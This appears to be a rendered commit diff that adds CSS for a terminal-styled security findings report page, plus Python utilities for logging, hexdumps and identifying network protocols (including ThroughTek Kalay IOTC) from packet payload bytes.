color: var(--green);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── DIVIDERS ──────────────────────────────────────────── */
|
||||||
|
.divider {
|
||||||
|
border: none;
|
||||||
|
border-top: 1px solid var(--green-deep);
|
||||||
|
margin: 24px 0;
|
||||||
|
opacity: 0.55;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
.divider::after {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
left: 50%;
|
||||||
|
top: -3px;
|
||||||
|
width: 8px;
|
||||||
|
height: 5px;
|
||||||
|
background: var(--green);
|
||||||
|
transform: translateX(-50%);
|
||||||
|
box-shadow: 0 0 8px var(--green);
|
||||||
|
}
|
||||||
|
|
||||||
|
.divider-heavy {
|
||||||
|
border: none;
|
||||||
|
border-top: 2px solid var(--green);
|
||||||
|
margin: 28px 0;
|
||||||
|
box-shadow: 0 0 12px var(--green-deep);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── SECTIONS w/ DECRYPT REVEAL ────────────────────────── */
|
||||||
|
.section {
|
||||||
|
margin: 30px 0;
|
||||||
|
padding: 18px 22px;
|
||||||
|
border-left: 2px solid var(--green-deep);
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.section::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
left: -2px; top: 0; bottom: 0;
|
||||||
|
width: 2px;
|
||||||
|
background: var(--green);
|
||||||
|
box-shadow: 0 0 12px var(--green);
|
||||||
|
transform: scaleY(0);
|
||||||
|
transform-origin: top;
|
||||||
|
transition: transform 0.6s ease-out;
|
||||||
|
}
|
||||||
|
.section.in-view::before { transform: scaleY(1); }
|
||||||
|
|
||||||
|
.section-title {
|
||||||
|
font-family: 'VT323', monospace;
|
||||||
|
font-size: 26px;
|
||||||
|
color: var(--green);
|
||||||
|
margin-bottom: 18px;
|
||||||
|
text-shadow: 0 0 14px var(--green-dark), 0 0 4px var(--green);
|
||||||
|
letter-spacing: 3px;
|
||||||
|
}
|
||||||
|
.section-title::before {
|
||||||
|
content: '> ';
|
||||||
|
color: var(--text-dim);
|
||||||
|
}
|
||||||
|
.section-title .counter {
|
||||||
|
font-size: 14px;
|
||||||
|
color: var(--text-dim);
|
||||||
|
letter-spacing: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Reveal animation for sections — one-shot when in-view */
|
||||||
|
.reveal {
|
||||||
|
opacity: 0;
|
||||||
|
transform: translateY(14px);
|
||||||
|
transition: opacity 0.7s ease-out, transform 0.7s ease-out;
|
||||||
|
}
|
||||||
|
.reveal.in-view {
|
||||||
|
opacity: 1;
|
||||||
|
transform: translateY(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── TEXT BLOCKS ──────────────────────────────────────── */
|
||||||
|
.text-block {
|
||||||
|
color: var(--green-dim);
|
||||||
|
font-size: 14px;
|
||||||
|
line-height: 1.7;
|
||||||
|
}
|
||||||
|
.text-block p { margin-bottom: 14px; }
|
||||||
|
.text-block .muted { color: var(--text-dim); font-size: 12px; }
|
||||||
|
.text-block .small { font-size: 11px; }
|
||||||
|
|
||||||
|
.hl {
|
||||||
|
color: var(--green);
|
||||||
|
text-shadow: 0 0 8px var(--green-dark);
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
code {
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
background: var(--bg-soft);
|
||||||
|
padding: 1px 6px;
|
||||||
|
border: 1px solid var(--green-deep);
|
||||||
|
color: var(--link);
|
||||||
|
font-size: 12px;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.codeblock {
|
||||||
|
background: linear-gradient(180deg, #050b06 0%, #030503 100%);
|
||||||
|
border: 1px solid var(--green-deep);
|
||||||
|
border-left: 3px solid var(--green);
|
||||||
|
padding: 16px 20px;
|
||||||
|
margin: 14px 0;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 12.5px;
|
||||||
|
color: var(--green-dim);
|
||||||
|
white-space: pre;
|
||||||
|
overflow-x: auto;
|
||||||
|
line-height: 1.6;
|
||||||
|
box-shadow:
|
||||||
|
inset 0 0 24px rgba(0, 80, 20, 0.18),
|
||||||
|
0 0 16px rgba(0, 100, 30, 0.05);
|
||||||
|
}
|
||||||
|
.codeblock .k { color: var(--green); text-shadow: 0 0 6px var(--green-dark); }
|
||||||
|
.codeblock .dim { color: var(--text-dim); }
|
||||||
|
|
||||||
|
/* ─── FINDINGS TABLE ───────────────────────────────────── */
|
||||||
|
table.findings {
|
||||||
|
width: 100%;
|
||||||
|
border-collapse: collapse;
|
||||||
|
margin: 16px 0;
|
||||||
|
font-size: 13px;
|
||||||
|
background: rgba(0, 12, 4, 0.4);
|
||||||
|
border: 1px solid var(--green-deep);
|
||||||
|
}
|
||||||
|
|
||||||
|
table.findings th {
|
||||||
|
text-align: left;
|
||||||
|
padding: 9px 12px;
|
||||||
|
border-bottom: 1px solid var(--green);
|
||||||
|
color: var(--green);
|
||||||
|
font-family: 'VT323', monospace;
|
||||||
|
font-size: 17px;
|
||||||
|
letter-spacing: 2px;
|
||||||
|
text-transform: uppercase;
|
||||||
|
text-shadow: 0 0 8px var(--green-dark);
|
||||||
|
background: rgba(0, 30, 10, 0.6);
|
||||||
|
}
|
||||||
|
|
||||||
|
table.findings td {
|
||||||
|
padding: 7px 12px;
|
||||||
|
border-bottom: 1px dashed var(--green-deep);
|
||||||
|
color: var(--green-dim);
|
||||||
|
vertical-align: middle;
|
||||||
|
}
|
||||||
|
|
||||||
|
table.findings tbody tr {
|
||||||
|
transition: background 0.15s;
|
||||||
|
}
|
||||||
|
table.findings tbody tr:hover {
|
||||||
|
background: rgba(0, 60, 18, 0.35);
|
||||||
|
}
|
||||||
|
table.findings tbody tr:hover td { color: var(--green); }
|
||||||
|
|
||||||
|
table.findings .col-id { width: 50px; color: var(--text-dim); font-family: 'Share Tech Mono', monospace; }
|
||||||
|
table.findings .col-sev { width: 90px; }
|
||||||
|
|
||||||
|
/* severity badges */
|
||||||
|
.sev {
|
||||||
|
display: inline-block;
|
||||||
|
padding: 2px 8px;
|
||||||
|
font-family: 'VT323', monospace;
|
||||||
|
font-size: 13px;
|
||||||
|
letter-spacing: 1.5px;
|
||||||
|
border: 1px solid currentColor;
|
||||||
|
background: rgba(0, 0, 0, 0.4);
|
||||||
|
}
|
||||||
|
.sev-crit {
|
||||||
|
color: var(--red);
|
||||||
|
text-shadow: 0 0 8px var(--red);
|
||||||
|
border-color: var(--red);
|
||||||
|
animation: sev-pulse 1.6s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
@keyframes sev-pulse {
|
||||||
|
0%, 100% { box-shadow: 0 0 0 var(--red-glow), inset 0 0 0 var(--red-glow); }
|
||||||
|
50% { box-shadow: 0 0 16px var(--red-glow), inset 0 0 8px var(--red-glow); }
|
||||||
|
}
|
||||||
|
.sev-high { color: var(--amber); text-shadow: 0 0 6px var(--amber); border-color: var(--amber); }
|
||||||
|
.sev-med { color: var(--green); text-shadow: 0 0 6px var(--green-dark); }
|
||||||
|
.sev-info { color: var(--info); text-shadow: 0 0 6px var(--info); border-color: var(--info); }
|
||||||
|
|
||||||
|
.cve-tag {
|
||||||
|
display: inline-block;
|
||||||
|
font-size: 10px;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
color: var(--info);
|
||||||
|
border: 1px solid var(--info);
|
||||||
|
padding: 1px 5px;
|
||||||
|
margin-left: 4px;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
vertical-align: middle;
|
||||||
|
}
|
||||||
|
|
||||||
|
.redact {
|
||||||
|
background: var(--red);
|
||||||
|
color: #000;
|
||||||
|
padding: 0 6px;
|
||||||
|
font-weight: bold;
|
||||||
|
letter-spacing: 1.5px;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 11px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── CVE CARDS ────────────────────────────────────────── */
|
||||||
|
.cve-card {
|
||||||
|
margin: 18px 0;
|
||||||
|
padding: 16px 20px;
|
||||||
|
border: 1px solid var(--green-deep);
|
||||||
|
background: linear-gradient(180deg, rgba(0, 20, 6, 0.6), rgba(0, 8, 2, 0.4));
|
||||||
|
position: relative;
|
||||||
|
box-shadow: inset 0 0 30px rgba(0, 60, 18, 0.1);
|
||||||
|
}
|
||||||
|
.cve-card::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
left: 0; top: 0; bottom: 0;
|
||||||
|
width: 3px;
|
||||||
|
background: var(--green);
|
||||||
|
box-shadow: 0 0 14px var(--green);
|
||||||
|
}
|
||||||
|
|
||||||
|
.cve-card header {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 12px;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
margin-bottom: 8px;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
.cve-id {
|
||||||
|
color: var(--link);
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: bold;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
text-shadow: 0 0 8px rgba(0, 255, 170, 0.5);
|
||||||
|
}
|
||||||
|
.cvss {
|
||||||
|
color: var(--text-dim);
|
||||||
|
font-size: 11px;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
}
|
||||||
|
.cve-state {
|
||||||
|
margin-left: auto;
|
||||||
|
font-size: 11px;
|
||||||
|
letter-spacing: 1.5px;
|
||||||
|
padding: 2px 8px;
|
||||||
|
border: 1px solid currentColor;
|
||||||
|
}
|
||||||
|
.state-vuln {
|
||||||
|
color: var(--red);
|
||||||
|
text-shadow: 0 0 8px var(--red-glow);
|
||||||
|
animation: sev-pulse 1.8s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
.state-warn {
|
||||||
|
color: var(--amber);
|
||||||
|
text-shadow: 0 0 6px var(--amber);
|
||||||
|
}
|
||||||
|
|
||||||
|
.cve-card h3 {
|
||||||
|
font-family: 'VT323', monospace;
|
||||||
|
font-size: 19px;
|
||||||
|
color: var(--green);
|
||||||
|
margin: 6px 0 10px 0;
|
||||||
|
letter-spacing: 1.5px;
|
||||||
|
text-shadow: 0 0 8px var(--green-dark);
|
||||||
|
}
|
||||||
|
|
||||||
|
.cve-card p {
|
||||||
|
color: var(--green-dim);
|
||||||
|
font-size: 13px;
|
||||||
|
line-height: 1.7;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── TOOLS LIST ───────────────────────────────────────── */
|
||||||
|
ul.tools, ul.disclosure {
|
||||||
|
list-style: none;
|
||||||
|
padding: 0;
|
||||||
|
margin: 14px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ul.tools li, ul.disclosure li {
|
||||||
|
margin: 7px 0;
|
||||||
|
padding: 5px 0 5px 22px;
|
||||||
|
position: relative;
|
||||||
|
color: var(--green-dim);
|
||||||
|
border-bottom: 1px dashed var(--green-deep);
|
||||||
|
transition: background 0.15s, padding-left 0.2s;
|
||||||
|
}
|
||||||
|
ul.tools li::before, ul.disclosure li::before {
|
||||||
|
content: '\BB';
|
||||||
|
position: absolute;
|
||||||
|
left: 4px;
|
||||||
|
top: 5px;
|
||||||
|
color: var(--link);
|
||||||
|
text-shadow: 0 0 6px var(--link);
|
||||||
|
}
|
||||||
|
ul.tools li:hover, ul.disclosure li:hover {
|
||||||
|
background: rgba(0, 60, 18, 0.2);
|
||||||
|
padding-left: 28px;
|
||||||
|
color: var(--green);
|
||||||
|
}
|
||||||
|
ul.tools li strong {
|
||||||
|
color: var(--link);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
.modulename {
|
||||||
|
font-family: 'VT323', monospace;
|
||||||
|
font-size: 18px;
|
||||||
|
color: var(--link);
|
||||||
|
letter-spacing: 2px;
|
||||||
|
margin-top: 14px;
|
||||||
|
text-shadow: 0 0 10px rgba(0, 255, 170, 0.4);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── REASONS (numbered list with big numerals) ────────── */
|
||||||
|
ol.reasons {
|
||||||
|
list-style: none;
|
||||||
|
padding: 0;
|
||||||
|
margin: 16px 0;
|
||||||
|
}
|
||||||
|
ol.reasons li {
|
||||||
|
display: flex;
|
||||||
|
gap: 18px;
|
||||||
|
margin: 16px 0;
|
||||||
|
padding: 12px 14px;
|
||||||
|
border-left: 1px solid var(--green-deep);
|
||||||
|
background: rgba(0, 12, 4, 0.3);
|
||||||
|
}
|
||||||
|
ol.reasons li .num {
|
||||||
|
font-family: 'VT323', monospace;
|
||||||
|
font-size: 42px;
|
||||||
|
color: var(--green);
|
||||||
|
text-shadow: 0 0 14px var(--green-dark), 0 0 4px var(--green);
|
||||||
|
flex-shrink: 0;
|
||||||
|
line-height: 1;
|
||||||
|
}
|
||||||
|
ol.reasons li > div {
|
||||||
|
font-size: 13px;
|
||||||
|
color: var(--green-dim);
|
||||||
|
line-height: 1.7;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── QUOTE BLOCK ──────────────────────────────────────── */
|
||||||
|
.quote-block {
|
||||||
|
margin: 28px auto;
|
||||||
|
padding: 26px 28px;
|
||||||
|
border: 1px solid var(--green-deep);
|
||||||
|
background:
|
||||||
|
radial-gradient(ellipse at top, rgba(0, 80, 20, 0.18), transparent 60%),
|
||||||
|
rgba(0, 8, 2, 0.6);
|
||||||
|
text-align: center;
|
||||||
|
position: relative;
|
||||||
|
max-width: 720px;
|
||||||
|
}
|
||||||
|
.quote-block::before { content: '/*'; position: absolute; top: 6px; left: 12px; color: var(--text-dim); font-size: 12px; }
|
||||||
|
.quote-block::after { content: '*/'; position: absolute; bottom: 6px; right: 12px; color: var(--text-dim); font-size: 12px; }
|
||||||
|
|
||||||
|
.quote-text {
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 14px;
|
||||||
|
color: var(--green);
|
||||||
|
font-style: italic;
|
||||||
|
line-height: 1.85;
|
||||||
|
text-shadow: 0 0 6px var(--green-dark);
|
||||||
|
}
|
||||||
|
.quote-attr {
|
||||||
|
margin-top: 12px;
|
||||||
|
font-size: 11px;
|
||||||
|
color: var(--text-dim);
|
||||||
|
letter-spacing: 2px;
|
||||||
|
text-transform: uppercase;
|
||||||
|
}
|
||||||
|
|
||||||
|
.signoff {
|
||||||
|
text-align: right;
|
||||||
|
margin-top: 26px;
|
||||||
|
font-size: 13px;
|
||||||
|
color: var(--text-dim);
|
||||||
|
letter-spacing: 2px;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
}
|
||||||
|
.signoff .link { color: var(--link); text-shadow: 0 0 8px rgba(0, 255, 170, 0.4); }
|
||||||
|
|
||||||
|
/* ─── SCREENSHOTS ───────────────────────────────────── */
|
||||||
|
figure.screenshot {
|
||||||
|
margin: 22px 0;
|
||||||
|
padding: 14px;
|
||||||
|
background: linear-gradient(180deg, rgba(0, 20, 6, 0.5), rgba(0, 6, 2, 0.4));
|
||||||
|
border: 1px solid var(--green-deep);
|
||||||
|
border-left: 3px solid var(--green);
|
||||||
|
box-shadow: inset 0 0 30px rgba(0, 60, 18, 0.1);
|
||||||
|
}
|
||||||
|
figure.screenshot img {
|
||||||
|
display: block;
|
||||||
|
max-width: 100%;
|
||||||
|
height: auto;
|
||||||
|
border: 1px solid var(--green-dark);
|
||||||
|
box-shadow:
|
||||||
|
0 0 18px rgba(0, 255, 65, 0.12),
|
||||||
|
0 0 4px rgba(0, 255, 65, 0.25);
|
||||||
|
margin: 0 auto 12px auto;
|
||||||
|
/* gentle phosphor glow on hover */
|
||||||
|
transition: box-shadow 0.3s, filter 0.3s;
|
||||||
|
}
|
||||||
|
figure.screenshot img:hover {
|
||||||
|
box-shadow:
|
||||||
|
0 0 28px rgba(0, 255, 65, 0.25),
|
||||||
|
0 0 8px rgba(0, 255, 65, 0.4);
|
||||||
|
filter: brightness(1.05);
|
||||||
|
}
|
||||||
|
figure.screenshot figcaption {
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--green-dim);
|
||||||
|
line-height: 1.7;
|
||||||
|
padding: 6px 10px 0 10px;
|
||||||
|
border-top: 1px dashed var(--green-deep);
|
||||||
|
}
|
||||||
|
figure.screenshot figcaption strong {
|
||||||
|
color: var(--link);
|
||||||
|
text-shadow: 0 0 6px rgba(0, 255, 170, 0.3);
|
||||||
|
}
|
||||||
|
figure.screenshot figcaption code {
|
||||||
|
font-size: 11px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── PROMPT FOOTER ────────────────────────────────────── */
|
||||||
|
.prompt {
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 13px;
|
||||||
|
color: var(--green);
|
||||||
|
margin: 30px 0 6px 0;
|
||||||
|
padding: 8px 0;
|
||||||
|
border-top: 1px dashed var(--green-deep);
|
||||||
|
text-shadow: 0 0 6px var(--green-dark);
|
||||||
|
}
|
||||||
|
.prompt-host { color: var(--link); }
|
||||||
|
.prompt-sep { color: var(--text-dim); }
|
||||||
|
.prompt-cwd { color: var(--green); }
|
||||||
|
.prompt-cmd { color: var(--green); }
|
||||||
|
.prompt-cursor {
|
||||||
|
display: inline-block;
|
||||||
|
background: var(--green);
|
||||||
|
color: var(--bg);
|
||||||
|
animation: cur 0.8s steps(1) infinite;
|
||||||
|
width: 9px;
|
||||||
|
margin-left: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── FOOTER ────────────────────────────────────────────── */
|
||||||
|
.footer {
|
||||||
|
text-align: center;
|
||||||
|
font-size: 11px;
|
||||||
|
color: var(--text-dim);
|
||||||
|
margin: 18px 0 26px 0;
|
||||||
|
letter-spacing: 2px;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
}
|
||||||
|
.footer p { margin: 4px 0; }
|
||||||
|
.footer a {
|
||||||
|
color: var(--link);
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
.footer a:hover { color: #fff; text-shadow: 0 0 8px var(--green); }
|
||||||
|
|
||||||
|
/* ─── RESPONSIVE ──────────────────────────────────────── */
|
||||||
|
@media (max-width: 720px) {
|
||||||
|
#hud { display: none; }
|
||||||
|
#ascii-logo { font-size: 7px; }
|
||||||
|
#tagline { font-size: 16px; letter-spacing: 2px; }
|
||||||
|
.section { padding: 14px; }
|
||||||
|
.section-title { font-size: 22px; }
|
||||||
|
ol.reasons li { flex-direction: column; gap: 8px; }
|
||||||
|
ol.reasons li .num { font-size: 32px; }
|
||||||
|
}
|
||||||
0
utils/__init__.py
Normal file
0
utils/__init__.py
Normal file
99
utils/log.py
Normal file
99
utils/log.py
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
"""Shared logging and hex formatting utilities"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import threading
|
||||||
|
from datetime import datetime
|
||||||
|
from collections import deque
|
||||||
|
|
||||||
|
lock = threading.Lock()
|
||||||
|
log_lines = deque(maxlen=2000)
|
||||||
|
_logfile = None
|
||||||
|
_logfile_path = None
|
||||||
|
LOG_MAX_BYTES = 1024 * 1024 * 1024 # 1 GiB
|
||||||
|
_log_rotate_lock = threading.Lock()
|
||||||
|
|
||||||
|
# Color codes for TUI
|
||||||
|
C_NONE = 0
|
||||||
|
C_ERROR = 1
|
||||||
|
C_SUCCESS = 2
|
||||||
|
C_INFO = 3
|
||||||
|
C_TRAFFIC = 4
|
||||||
|
C_IMPORTANT = 5
|
||||||
|
|
||||||
|
|
||||||
|
def init_logfile(path):
|
||||||
|
global _logfile, _logfile_path
|
||||||
|
os.makedirs(os.path.dirname(path), exist_ok=True)
|
||||||
|
_logfile_path = path
|
||||||
|
_logfile = open(path, "a")
|
||||||
|
|
||||||
|
|
||||||
|
def close_logfile():
|
||||||
|
global _logfile
|
||||||
|
if _logfile:
|
||||||
|
_logfile.close()
|
||||||
|
_logfile = None
|
||||||
|
|
||||||
|
|
||||||
|
def _maybe_rotate():
|
||||||
|
"""Rotate the active log file if it exceeds LOG_MAX_BYTES."""
|
||||||
|
global _logfile
|
||||||
|
if not _logfile or not _logfile_path:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
size = os.fstat(_logfile.fileno()).st_size
|
||||||
|
except OSError:
|
||||||
|
return
|
||||||
|
if size < LOG_MAX_BYTES:
|
||||||
|
return
|
||||||
|
with _log_rotate_lock:
|
||||||
|
try:
|
||||||
|
size = os.fstat(_logfile.fileno()).st_size
|
||||||
|
if size < LOG_MAX_BYTES:
|
||||||
|
return
|
||||||
|
_logfile.close()
|
||||||
|
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||||
|
os.rename(_logfile_path, f"{_logfile_path}.{ts}")
|
||||||
|
_logfile = open(_logfile_path, "a")
|
||||||
|
_logfile.write(f"[{datetime.now().strftime('%H:%M:%S')}] log rotated (>1GB)\n")
|
||||||
|
_logfile.flush()
|
||||||
|
except Exception as e:
|
||||||
|
try:
|
||||||
|
_logfile = open(_logfile_path, "a")
|
||||||
|
except Exception:
|
||||||
|
_logfile = None
|
||||||
|
|
||||||
|
|
||||||
|
def log(msg, color=C_NONE):
|
||||||
|
ts = datetime.now().strftime("%H:%M:%S")
|
||||||
|
line = f"[{ts}] {msg}"
|
||||||
|
with lock:
|
||||||
|
log_lines.append((line, color))
|
||||||
|
if _logfile:
|
||||||
|
try:
|
||||||
|
_logfile.write(line + "\n")
|
||||||
|
_logfile.flush()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
_maybe_rotate()
|
||||||
|
|
||||||
|
|
||||||
|
def hexdump(data, max_bytes=128):
|
||||||
|
lines = []
|
||||||
|
for i in range(0, min(len(data), max_bytes), 16):
|
||||||
|
chunk = data[i:i + 16]
|
||||||
|
hx = " ".join(f"{b:02x}" for b in chunk)
|
||||||
|
asc = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
|
||||||
|
lines.append(f" {i:04x} {hx:<48} {asc}")
|
||||||
|
if len(data) > max_bytes:
|
||||||
|
lines.append(f" ... ({len(data)} bytes total)")
|
||||||
|
return "\n".join(lines)
|
||||||
|
|
||||||
|
|
||||||
|
def save_raw(log_dir, name, data):
|
||||||
|
import time
|
||||||
|
os.makedirs(log_dir, exist_ok=True)
|
||||||
|
path = f"{log_dir}/{name}_{int(time.time())}.bin"
|
||||||
|
with open(path, "wb") as f:
|
||||||
|
f.write(data)
|
||||||
|
return path
|
||||||
94
utils/proto.py
Normal file
94
utils/proto.py
Normal file
@@ -0,0 +1,94 @@
|
|||||||
|
"""
|
||||||
|
Protocol fingerprinting from packet payload first bytes.
|
||||||
|
Returns a short label like 'TLS', 'HTTP', 'IOTC', '?'.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import threading
|
||||||
|
from collections import Counter
|
||||||
|
|
||||||
|
_seen = Counter()
|
||||||
|
_lock = threading.Lock()
|
||||||
|
|
||||||
|
|
||||||
|
def detect(data: bytes) -> str:
|
||||||
|
if not data:
|
||||||
|
return "?"
|
||||||
|
n = len(data)
|
||||||
|
b = data
|
||||||
|
|
||||||
|
# TLS: 0x16 (handshake) 0x03 0x0[0-4]
|
||||||
|
if n >= 3 and b[0] == 0x16 and b[1] == 0x03 and b[2] <= 0x04:
|
||||||
|
return "TLS"
|
||||||
|
# TLS app data / alert / change_cipher_spec
|
||||||
|
if n >= 3 and b[0] in (0x14, 0x15, 0x17) and b[1] == 0x03 and b[2] <= 0x04:
|
||||||
|
return "TLS-DATA"
|
||||||
|
|
||||||
|
# HTTP request methods (ASCII)
|
||||||
|
head = bytes(b[:8])
|
||||||
|
for verb in (b"GET ", b"POST ", b"PUT ", b"HEAD ", b"DELETE ", b"OPTIONS", b"PATCH ", b"CONNECT"):
|
||||||
|
if head.startswith(verb):
|
||||||
|
return "HTTP"
|
||||||
|
if head.startswith(b"HTTP/"):
|
||||||
|
return "HTTP-RESP"
|
||||||
|
|
||||||
|
# RTSP
|
||||||
|
if head.startswith(b"RTSP/") or head.startswith(b"OPTIONS rtsp") or head.startswith(b"DESCRIBE"):
|
||||||
|
return "RTSP"
|
||||||
|
|
||||||
|
# SSH banner
|
||||||
|
if head.startswith(b"SSH-"):
|
||||||
|
return "SSH"
|
||||||
|
|
||||||
|
# FTP banner
|
||||||
|
if head[:3] in (b"220", b"221", b"230"):
|
||||||
|
return "FTP?"
|
||||||
|
|
||||||
|
# DNS — udp payload usually starts with 16-bit ID then flags 0x01 0x00 (query) or 0x81 0x80 (resp)
|
||||||
|
if n >= 4 and b[2] in (0x01, 0x81) and b[3] in (0x00, 0x80, 0x20, 0xa0):
|
||||||
|
return "DNS"
|
||||||
|
|
||||||
|
# NTP — first byte: LI(2)|VN(3)|Mode(3); common values 0x1b (client), 0x24 (server)
|
||||||
|
if n >= 48 and b[0] in (0x1b, 0x23, 0x24, 0xdb, 0xe3):
|
||||||
|
return "NTP?"
|
||||||
|
|
||||||
|
# ThroughTek Kalay IOTC/AVAPI — begins with 0xF1 0xD0 or 0xF1 0xE0 family
|
||||||
|
if n >= 2 and b[0] == 0xF1 and b[1] in (0xD0, 0xE0, 0xF0, 0xC0, 0xA0, 0x10, 0x20, 0x30):
|
||||||
|
return "IOTC"
|
||||||
|
|
||||||
|
# STUN — first byte 0x00 or 0x01, second byte 0x00/0x01/0x11, magic cookie 0x2112A442 at offset 4
|
||||||
|
if n >= 8 and b[0] in (0x00, 0x01) and b[4:8] == b"\x21\x12\xa4\x42":
|
||||||
|
return "STUN"
|
||||||
|
|
||||||
|
# mDNS multicast / SSDP
|
||||||
|
if head.startswith(b"M-SEARCH") or head.startswith(b"NOTIFY *") or head.startswith(b"HTTP/1.1 200 OK"):
|
||||||
|
return "SSDP"
|
||||||
|
|
||||||
|
# MQTT — first byte 0x10 (CONNECT), 0x20 CONNACK, 0x30 PUBLISH...
|
||||||
|
if n >= 2 and (b[0] & 0xF0) in (0x10, 0x20, 0x30, 0x40, 0xC0, 0xD0, 0xE0) and b[0] != 0x00:
|
||||||
|
# weak signal — only if remaining length is sane
|
||||||
|
if 2 <= b[1] <= 200 and (b[0] & 0x0F) == 0:
|
||||||
|
return "MQTT?"
|
||||||
|
|
||||||
|
return "?"
|
||||||
|
|
||||||
|
|
||||||
|
def label_with_hex(data: bytes) -> str:
|
||||||
|
"""Return 'PROTO[hex6]' for log lines."""
|
||||||
|
p = detect(data)
|
||||||
|
h = data[:6].hex() if data else ""
|
||||||
|
return f"{p}[{h}]"
|
||||||
|
|
||||||
|
|
||||||
|
def record(proto: str):
|
||||||
|
with _lock:
|
||||||
|
_seen[proto] += 1
|
||||||
|
|
||||||
|
|
||||||
|
def seen_counts():
|
||||||
|
with _lock:
|
||||||
|
return dict(_seen)
|
||||||
|
|
||||||
|
|
||||||
|
def reset():
|
||||||
|
with _lock:
|
||||||
|
_seen.clear()
|
||||||
Reference in New Issue
Block a user